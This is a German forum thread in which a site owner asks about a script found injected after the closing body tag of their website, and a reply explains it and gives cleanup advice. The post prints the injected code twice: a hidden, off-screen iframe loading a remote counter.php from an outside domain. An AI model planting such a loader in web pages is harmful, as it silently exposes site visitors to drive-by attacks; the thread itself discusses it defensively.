Website gehackt?

[Der Martin]

Hi,

leider wurden wir heute von einem unserer Websitebesucher darauf aufmerksam gemacht, dass unsere Seite neuerdings sehr lange lädt. Als wir uns den Seitenquelltext (view-source:http://www.forum-thomanum.de/) angeschaut haben, um das Problem zu finden, ist uns aufgefallen, dass sich im unteren Bereich der Seite (hinter </body>) etwas eingenistet hat, was dort nicht hingehört.

meinst du dieses Geschwür:

<script>  
var _q = document.createElement('iframe'),  
_n = 'setAttribute';  
_q[_n]('src', 'http://mytresca.com/counter.php');  
_q.style.position = 'absolute';  
_q.style.width = '16px';  
_q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7d03d1087e22') + 1);  
_q.style.left = '-6200px';  
document.write('<div id=\'pzadv\'></div>');  
document.getElementById('pzadv').appendChild(_q);  
</script><script>  
var _q = document.createElement('iframe'),  
_n = 'setAttribute';  
_q[_n]('src', 'http://mytresca.com/counter.php');  
_q.style.position = 'absolute';  
_q.style.width = '16px';  
_q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7d03d1087e22') + 1);  
_q.style.left = '-6200px';  
document.write('<div id=\'pzadv\'></div>');  
document.getElementById('pzadv').appendChild(_q);  
</script>

Kann mir zufällig jemand sagen was das ist und wie man es weg bekommt? ;)

Was das ist? Offensichtlich hat jemand deine FTP-Zugangsdaten. Oder jemand hat die Sicherheitsmechanismen von Strato geknackt und alle Kunden beglückt, die auf demselben Server wohnen.
Wie man es wegbekommt? Editieren, Löschen. Aber damit bekämpft man natürlich nur Symptome, nicht Ursachen. Gleichzeitig solltest du daher deine Zugangsdaten (insbesondere das Passwort) ändern, und Strato sollte den Angriff bitte auch ernst nehmen und nachforschen, wie das zustande kam.

Es ist ja nicht einmal sicher, dass Steven Teal, der Inhaber der Domain mytresca.com, wirklich was damit zu tun hat. Möglicherweise ist auch sein Webspace gekapert worden und wird nun missbraucht.

So long,
 Martin